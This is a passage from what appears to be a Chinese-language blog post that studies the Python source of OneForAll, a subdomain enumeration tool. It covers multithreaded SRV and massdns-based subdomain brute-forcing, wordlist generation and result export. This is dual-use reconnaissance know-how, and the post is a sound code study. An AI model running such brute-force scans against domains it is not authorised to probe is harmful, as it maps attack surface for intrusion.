class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">BruteSRV</span>(<span class="params">Module</span>):</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__init__</span>(<span class="params">self, domain</span>):</span></span><br><span class="line"> Module.__init__(self)</span><br><span class="line"> self.domain = domain</span><br><span class="line"> self.module = <span class="string">'BruteSRV'</span></span><br><span class="line"> self.source = <span class="string">"BruteSRV"</span></span><br><span class="line"> self.qtype = <span class="string">'SRV'</span></span><br><span class="line"> self.thread_num = <span class="number">20</span></span><br><span class="line"> self.names_queue = queue.Queue()</span><br><span class="line"> self.answers_queue = queue.Queue()</span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">run</span>(<span class="params">self</span>):</span></span><br><span class="line"> self.begin()<span class="comment"># 继承的,跟上面一样</span></span><br><span class="line"> self.fill_queue() <span class="comment"># 读取 srv_prefixes.json</span></span><br><span class="line"> self.do_brute() <span class="comment"># 多线程爆破</span></span><br><span class="line"> self.deal_answers() <span class="comment">#</span></span><br><span class="line"> self.finish()</span><br><span class="line"> self.save_json()</span><br><span class="line"> self.gen_result()</span><br><span class="line"> self.save_db()</span><br><span class="line"><span class="comment"># 继承于Module.py</span></span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">self.fill_queue()</span><br><span class="line"> path = data_storage_dir.joinpath(<span class="string">'srv_prefixes.json'</span>)</span><br><span class="line"> prefixes = utils.load_json(path)</span><br><span class="line"> <span class="keyword">for</span> prefix <span class="keyword">in</span> prefixes:</span><br><span class="line"> self.names_queue.put(prefix + self.domain)</span><br></pre></td></tr></table></figure><p><img src="/2022/01/28/%E4%BB%8E%E5%B7%A5%E5%85%B7OneForAll%E4%BB%A3%E7%A0%81%E8%A7%92%E5%BA%A6%E5%AD%A6%E4%B9%A0%E5%AD%90%E5%9F%9F%E5%90%8D%E6%8C%96%E6%8E%98/image-20220128215318698.png" alt="image-20220128215318698"></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">do_brute</span>(<span class="params">self</span>):</span></span><br><span class="line"> <span class="keyword">for</span> num <span class="keyword">in</span> range(self.thread_num):</span><br><span class="line"> thread = BruteThread(self.names_queue, self.answers_queue)</span><br><span class="line"> <span class="comment"># 类继承方式 多线程</span></span><br><span class="line"> thread.name = <span class="string">f'BruteThread-<span class="subst">{num}</span>'</span></span><br><span class="line"> thread.daemon = <span class="literal">True</span></span><br><span class="line"> thread.start()</span><br><span class="line">self.names_queue.join()</span><br></pre></td></tr></table></figure><p><img src="/2022/01/28/%E4%BB%8E%E5%B7%A5%E5%85%B7OneForAll%E4%BB%A3%E7%A0%81%E8%A7%92%E5%BA%A6%E5%AD%A6%E4%B9%A0%E5%AD%90%E5%9F%9F%E5%90%8D%E6%8C%96%E6%8E%98/image-20220128220126574.png" alt="image-20220128220126574"></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">deal_answers</span>(<span class="params">self</span>):</span></span><br><span class="line"> <span class="keyword">while</span> <span class="keyword">not</span> self.answers_queue.empty():</span><br><span class="line"> answer = self.answers_queue.get()</span><br><span class="line"> <span class="keyword">if</span> answer <span class="keyword">is</span> <span class="literal">None</span>:</span><br><span class="line"> <span class="keyword">continue</span></span><br><span class="line"> <span class="keyword">for</span> item <span class="keyword">in</span> answer:</span><br><span class="line"> record = str(item)</span><br><span class="line"> subdomains = self.match_subdomains(record)</span><br><span class="line"> self.subdomains.update(subdomains)<span class="comment"># set集合存结果</span></span><br></pre></td></tr></table></figure><h4 id="0x2-2-4-brute模块"><a href="#0x2-2-4-brute模块" class="headerlink" title="0x2.2.4 brute模块"></a>0x2.2.4 brute模块</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 爆破模块, 调用brute.py文件</span></span><br><span class="line"><span class="keyword">if</span> self.brute:</span><br><span class="line"> <span class="comment"># Due to there will be a large number of dns resolution requests,</span></span><br><span class="line"> <span class="comment"># may cause other network tasks to be error</span></span><br><span class="line"> brute = Brute(self.domain, word=<span class="literal">True</span>, export=<span class="literal">False</span>)</span><br><span class="line"> brute.enable_wildcard = self.enable_wildcard</span><br><span class="line"> brute.in_china = self.in_china</span><br><span class="line"> brute.quite = <span class="literal">True</span></span><br><span class="line"> brute.run()</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span>(<span class="params">self, domain</span>):</span></span><br><span class="line"> start = time.time()</span><br><span class="line"> logger.log(<span class="string">'INFOR'</span>, <span class="string">f'Blasting <span class="subst">{domain}</span> '</span>)</span><br><span class="line"> massdns_dir = settings.third_party_dir.joinpath(<span class="string">'massdns'</span>)</span><br><span class="line"> result_dir = settings.result_save_dir</span><br><span class="line"> temp_dir = result_dir.joinpath(<span class="string">'temp'</span>)</span><br><span class="line"> utils.check_dir(temp_dir)</span><br><span class="line"> massdns_path = utils.get_massdns_path(massdns_dir)</span><br><span class="line"> timestring = utils.get_timestring()</span><br><span class="line"></span><br><span class="line"> wildcard_ips = list() <span class="comment"># 泛解析IP列表</span></span><br><span class="line"> wildcard_ttl = int() <span class="comment"># 泛解析TTL整型值</span></span><br><span class="line"> ns_list = query_domain_ns(self.domain)</span><br><span class="line"> ns_ip_list = query_domain_ns_a(ns_list) <span class="comment"># DNS权威名称服务器对应A记录列表</span></span><br><span class="line"> <span class="keyword">if</span> self.enable_wildcard <span class="keyword">is</span> <span class="literal">None</span>:</span><br><span class="line"> self.enable_wildcard = wildcard.detect_wildcard(domain)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> self.enable_wildcard:</span><br><span class="line"> wildcard_ips, wildcard_ttl = wildcard.collect_wildcard_record(domain, ns_ip_list)</span><br><span class="line"> ns_path = utils.get_ns_path(self.in_china, self.enable_wildcard, ns_ip_list)</span><br><span class="line"></span><br><span class="line"> dict_set = self.gen_brute_dict(domain)</span><br><span class="line"> <span class="comment"># 生成字典</span></span><br><span class="line"> </span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">gen_brute_dict</span>(<span class="params">self, domain</span>):</span></span><br><span class="line"> logger.log(<span class="string">'INFOR'</span>, <span class="string">f'Generating dictionary for <span class="subst">{domain}</span>'</span>)</span><br><span class="line"> dict_set = set()</span><br><span class="line"> <span class="comment"># 如果domain不是self.subdomain 而是self.domain的子域则生成递归爆破字典</span></span><br><span class="line"> <span class="keyword">if</span> self.word:</span><br><span class="line"> self.place = <span class="string">''</span></span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> self.place:</span><br><span class="line"> self.place = <span class="string">'*.'</span> + domain</span><br><span class="line"> wordlist = self.wordlist</span><br><span class="line"> main_domain = utils.get_main_domain(domain)</span><br><span class="line"> <span class="keyword">if</span> domain != main_domain:</span><br><span class="line"> wordlist = self.recursive_nextlist</span><br><span class="line"> <span class="keyword">if</span> self.word:</span><br><span class="line"> word_subdomains = gen_word_subdomains(self.place, wordlist)</span><br><span class="line"> dict_set.update(word_subdomains)</span><br><span class="line"> <span class="keyword">if</span> self.fuzz:</span><br><span class="line"> fuzz_subdomains = gen_fuzz_subdomains(self.place, self.rule, self.fuzzlist)</span><br><span class="line"> dict_set.update(fuzz_subdomains)</span><br><span class="line"> count = len(dict_set)</span><br><span class="line"> logger.log(<span class="string">'INFOR'</span>, <span class="string">f'Dictionary size: <span class="subst">{count}</span>'</span>)</span><br><span class="line"> <span class="keyword">if</span> count > <span class="number">10000000</span>:</span><br><span class="line"> logger.log(<span class="string">'ALERT'</span>, <span class="string">f'The generated dictionary is '</span></span><br><span class="line"> <span class="string">f'too large <span class="subst">{count}</span> > 10000000'</span>)</span><br><span class="line"> <span class="keyword">return</span> dict_set</span><br></pre></td></tr></table></figure><ul><li><p>未指定参数<code>--wordlist</code>,默认调用的是<code>./data/subnames.txt</code>字典文件,<code>95247</code>个子域名爆破</p></li><li><p>字典数大于<code>10000000</code>会报。。。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">dict_name = <span class="string">f'generated_subdomains_<span class="subst">{domain}</span>_<span class="subst">{timestring}</span>.txt'</span></span><br><span class="line"> dict_path = temp_dir.joinpath(dict_name)</span><br><span class="line"> save_brute_dict(dict_path, dict_set)</span><br><span class="line"> <span class="keyword">del</span> dict_set</span><br><span class="line"> gc.collect()</span><br><span class="line"></span><br><span class="line"> output_name = <span class="string">f'resolved_result_<span class="subst">{domain}</span>_<span class="subst">{timestring}</span>.json'</span></span><br><span class="line"> output_path = temp_dir.joinpath(output_name)</span><br><span class="line"> log_path = result_dir.joinpath(<span class="string">'massdns.log'</span>)</span><br><span class="line"> check_dict()</span><br><span class="line"> logger.log(<span class="string">'INFOR'</span>, <span class="string">f'Running massdns to brute subdomains'</span>)</span><br><span class="line"> utils.call_massdns(massdns_path, dict_path, ns_path, output_path,</span><br><span class="line"> log_path, quiet_mode=self.quite,</span><br><span class="line"> concurrent_num=self.concurrent_num)</span><br><span class="line"> <span class="comment"># 调用massdns进行暴力破解</span></span><br><span class="line"> appear_times = stat_appear_times(output_path)</span><br><span class="line"> self.infos, self.subdomains = deal_output(output_path, appear_times,</span><br><span class="line"> wildcard_ips, wildcard_ttl)</span><br><span class="line"> delete_file(dict_path, output_path)</span><br><span class="line"> end = time.time()</span><br><span class="line"> self.elapse = round(end - start, <span class="number">1</span>)</span><br><span class="line"> logger.log(<span class="string">'ALERT'</span>, <span class="string">f'<span class="subst">{self.source}</span> module takes <span class="subst">{self.elapse}</span> seconds, '</span></span><br><span class="line"> <span class="string">f'found <span class="subst">{len(self.subdomains)}</span> subdomains of <span class="subst">{domain}</span>'</span>)</span><br><span class="line"> logger.log(<span class="string">'DEBUG'</span>, <span class="string">f'<span class="subst">{self.source}</span> module found subdomains of <span class="subst">{domain}</span>: '</span></span><br><span class="line"> <span class="string">f'<span class="subst">{self.subdomains}</span>'</span>)</span><br><span class="line"> self.gen_result()</span><br><span class="line"> self.save_db()</span><br><span class="line"> <span class="keyword">return</span> self.subdomains</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"># call_massdns函数cmd</span><br><span class="line">massdns.exe .......</span><br></pre></td></tr></table></figure><ul><li>调用massdns爆破</li></ul></li></ul><h4 id="0x2-2-5-数据处理"><a href="#0x2-2-5-数据处理" class="headerlink" title="0x2.2.5 数据处理"></a>0x2.2.5 数据处理</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">utils.deal_data(self.domain)</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">deal_data</span>(<span class="params">domain</span>):</span></span><br><span class="line"> db = Database()</span><br><span class="line"> db.remove_invalid(domain)</span><br><span class="line"> db.deduplicate_subdomain(domain)</span><br><span class="line"> db.close()</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">remove_invalid</span>(<span class="params">self, table_name</span>):</span></span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> Remove nulls or invalid subdomains in the table</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"> :param str table_name: table name</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> table_name = table_name.replace(<span class="string">'.'</span>, <span class="string">'_'</span>)</span><br><span class="line"> logger.log(<span class="string">'TRACE'</span>, <span class="string">f'Removing invalid subdomains in <span class="subst">{table_name}</span> table'</span>)</span><br><span class="line"> self.query(<span class="string">f'delete from "<span class="subst">{table_name}</span>" where '</span></span><br><span class="line"> <span class="string">f'subdomain is null or resolve == 0'</span>)</span><br><span class="line"> <span class="comment"># 移除无效数据</span></span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">deduplicate_subdomain</span>(<span class="params">self, table_name</span>):</span></span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> Deduplicate subdomains in the table</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"> :param str table_name: table name</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> table_name = table_name.replace(<span class="string">'.'</span>, <span class="string">'_'</span>)</span><br><span class="line"> logger.log(<span class="string">'TRACE'</span>, <span class="string">f'Deduplicating subdomains in <span class="subst">{table_name}</span> table'</span>)</span><br><span class="line"> self.query(<span class="string">f'delete from "<span class="subst">{table_name}</span>" where '</span></span><br><span class="line"> <span class="string">f'id not in (select min(id) '</span></span><br><span class="line"> <span class="string">f'from "<span class="subst">{table_name}</span>" group by subdomain)'</span>)</span><br><span class="line"> <span class="comment"># 数据去重</span></span><br></pre></td></tr></table></figure><h4 id="0x2-2-6"><a href="#0x2-2-6" class="headerlink" title="0x2.2.6"></a>0x2.2.6</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">if not self.dns:</span><br><span class="line"> self.data = self.export_data()# 导出数据</span><br><span class="line"> self.datas.extend(self.data)# self.datas新列表存储数据</span><br><span class="line"> return self.data #</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">self.data = self.export_data()</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">export_data</span>(<span class="params">self</span>):</span></span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> Export data from the database</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"> :return: exported data</span></span><br><span class="line"><span class="string"> :rtype: list</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> <span class="keyword">return</span> export.export_data(self.domain, alive=self.alive, fmt=self.fmt, path=self.path)</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">export_data</span>(<span class="params">target, db=None, alive=False, limit=None, path=None, fmt=<span class="string">'csv'</span>, show=False</span>):</span></span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> OneForAll export from database module</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"> Example:</span></span><br><span class="line"><span class="string"> python3 export.py --target name --fmt csv --dir= ./result.csv</span></span><br><span class="line"><span class="string"> python3 export.py --target name --tb True --show False</span></span><br><span class="line"><span class="string"> python3 export.py --db result.db --target name --show False</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"> Note:</span></span><br><span class="line"><span class="string"> --fmt csv/json (result format)</span></span><br><span class="line"><span class="string"> --path Result directory (default directory is ./results)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"> :param str target: Table to be exported</span></span><br><span class="line"><span class="string"> :param str db: Database path to be exported (default ./results/result.sqlite3)</span></span><br><span class="line"><span class="string"> :param bool alive: Only export the results of alive subdomains (default False)</span></span><br><span class="line"><span class="string"> :param str limit: Export limit (default None)</span></span><br><span class="line"><span class="string"> :param str fmt: Result format (default csv)</span></span><br><span class="line"><span class="string"> :param str path: Result directory (default None)</span></span><br><span class="line"><span class="string"> :param bool show: Displays the exported data in terminal (default False)</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"></span><br><span class="line"> database = Database(db)</span><br><span class="line"> domains = utils.get_domains(target)</span><br><span class="line"> datas = list()</span><br><span class="line"> <span class="keyword">if</span> domains:</span><br><span class="line"> <span class="keyword">for</span> domain <span class="keyword">in</span> domains:</span><br><span class="line"> table_name = domain.replace(<span class="string">'.'</span>, <span class="string">'_'</span>)</span><br><span class="line"> rows = database.export_data(table_name, alive, limit)<span class="comment"># !!!</span></span><br><span class="line"> <span class="keyword">if</span> rows <span class="keyword">is</span> <span class="literal">None</span>:</span><br><span class="line"> <span class="keyword">continue</span></span><br><span class="line"> data, _, _ = do_export(fmt, path, rows, show, domain, target)<span class="comment"># !!!</span></span><br><span class="line"> datas.extend(data)</span><br><span class="line"> database.close()</span><br><span class="line"> <span class="keyword">if</span> len(domains) > <span class="number">1</span>:</span><br><span class="line"> utils.export_all(alive, fmt, path, datas)<span class="comment"># !!!</span></span><br><span class="line"> <span class="keyword">return</span> datas</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">export_data</span>(<span class="params">self, table_name, alive, limit</span>):</span></span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> Get part of the data in the table</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"> :param str table_name: table name</span></span><br><span class="line"><span class="string"> :param any alive: alive flag</span></span><br><span class="line"><span class="string"> :param str limit: limit value</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> table_name = table_name.replace(<span class="string">'.'</span>, <span class="string">'_'</span>)</span><br><span class="line"> sql = <span class="string">f'select id, alive, request, resolve, url, subdomain, level,'</span> \</span><br><span class="line"> <span class="string">f'cname, ip, public, cdn, port, status, reason, title, banner,'</span> \</span><br><span class="line"> <span class="string">f'cidr, asn, org, addr, isp, source from "<span class="subst">{table_name}</span>" '</span></span><br><span class="line"> <span class="keyword">if</span> alive <span class="keyword">and</span> limit:</span><br><span class="line"> <span class="keyword">if</span> limit <span class="keyword">in</span> [<span class="string">'resolve'</span>, <span class="string">'request'</span>]:</span><br><span class="line"> where = <span class="string">f' where <span class="subst">{limit}</span> = 1'</span></span><br><span class="line"> sql += where</span><br><span class="line"> <span class="keyword">elif</span> alive:</span><br><span class="line"> where = <span class="string">f' where alive = 1'</span></span><br><span class="line"> sql += where</span><br><span class="line"> sql += <span class="string">' order by subdomain'</span></span><br><span class="line"> logger.log(<span class="string">'TRACE'</span>, <span class="string">f'Get the data from <span class="subst">{table_name}</span> table'</span>)</span><br><span class="line"> <span class="keyword">return</span> self.query(sql)</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">do_export</span>(<span class="params">fmt, path, rows, show, domain, target</span>):</span></span><br><span class="line"> fmt = utils.check_format(fmt)</span><br><span class="line"> path = utils.check_path(path, target, fmt)</span><br><span class="line"> <span class="keyword">if</span> show:</span><br><span class="line"> print(rows.dataset)</span><br><span class="line"> data = rows.export(fmt)</span><br><span class="line"> utils.save_to_file(path, data)</span><br><span class="line"> logger.log(<span class="string">'ALERT'</span>, <span class="string">f'The subdomain result for <span class="subst">{domain}</span>: <span class="subst">{path}</span>'</span>)</span><br><span class="line"> data = rows.as_dict()</span><br><span class="line"> <span class="keyword">return</span> data, fmt, path</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">export_all</span>(<span class="params">alive, fmt, path, datas</span>):</span></span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> 将所有结果数据导出</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"> :param bool alive: 只导出存活子域结果</span></span><br><span class="line"><span class="string"> :param str fmt: 导出文件格式</span></span><br><span class="line"><span class="string"> :param str path: 导出文件路径</span></span><br><span class="line"><span class="string"> :param list datas: 待导出的结果数据</span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"> fmt = check_format(fmt)</span><br><span class="line"> timestamp = get_timestring()</span><br><span class="line"> name = <span class="string">f'all_subdomain_result_<span class="subst">{timestamp}</span>'</span></span><br><span class="line"> export_all_results(path, name, fmt, datas)</span><br><span class="line"> export_all_subdomains(alive, path, name, datas)</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">export_all_results</span>(<span class="params">path, name, fmt, datas</span>):</span></span><br><span class="line"> path = check_path(path, name, fmt)</span><br><span class="line"> logger.log(<span class="string">'ALERT'</span>, <span class="string">f'The subdomain result for all main domains: <span class="subst">{path}</span>'</span>)</span><br><span class="line"> row_list = list()</span><br><span class="line"> <span class="keyword">for</span> row <span class="keyword">in</span> datas:</span><br><span class="line"> <span class="keyword">if</span> <span class="string">'header'</span> <span class="keyword">in</span> row:</span><br><span class="line"> row.pop(<span class="string">'header'</span>)</span><br><span class="line"> <span class="keyword">if</span> <span class="string">'response'</span> <span class="keyword">in</span> row:</span><br><span class="line"> row.pop(<span class="string">'response'</span>)</span><br><span class="line"> keys = row.keys()</span><br><span class="line"> values = row.values()</span><br><span class="line"> row_list.append(Record(keys, values))</span><br><span class="line"> rows = RecordCollection(iter(row_list))//!!!</span><br><span class="line"> content = rows.export(fmt)</span><br><span class="line"> save_to_file(path, content)</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">export_all_subdomains</span>(<span class="params">alive, path, name, datas</span>):</span></span><br><span class="line"> path = check_path(path, name, <span class="string">'txt'</span>)</span><br><span class="line"> logger.log(<span class="string">'ALERT'</span>, <span class="string">f'The txt subdomain result for all main domains: <span class="subst">{path}</span>'</span>)</span><br><span class="line"> subdomains = set()</span><br><span class="line"> <span class="keyword">for</span> row <span class="keyword">in</span> datas:</span><br><span class="line"> subdomain = row.get(<span class="string">'subdomain'</span>)</span><br><span class="line"> <span class="keyword">if</span> alive:</span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> row.get(<span class="string">'alive'</span>):</span><br><span class="line"> <span class="keyword">continue</span></span><br><span class="line"> subdomains.add(subdomain)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> subdomains.add(subdomain)</span><br><span class="line"> data = <span class="string">'\n'</span>.join(subdomains)</span><br><span class="line"> save_to_file(path, data)</span><br></pre></td></tr></table></figure><p><code>self.data = utils.get_data(self.domain)</code></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_data</span>(<span class="params">domain</span>):</span></span><br><span class="line"> db = Database()</span><br><span class="line"> data = db.get_data(domain).as_dict()<span class="comment"># !!!</span></span><br><span class="line"> db.close()</span><br><span class="line"> <span class="keyword">return</span> data</span><br></pre></td></tr></table></figure><p><code>db.get_data(domain)</code></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_data</span>(<span class="params">self, table_name</span>):</span></span><br><span class="line"> <span class="string">"""</span></span><br><span class="line"><span class="string"> 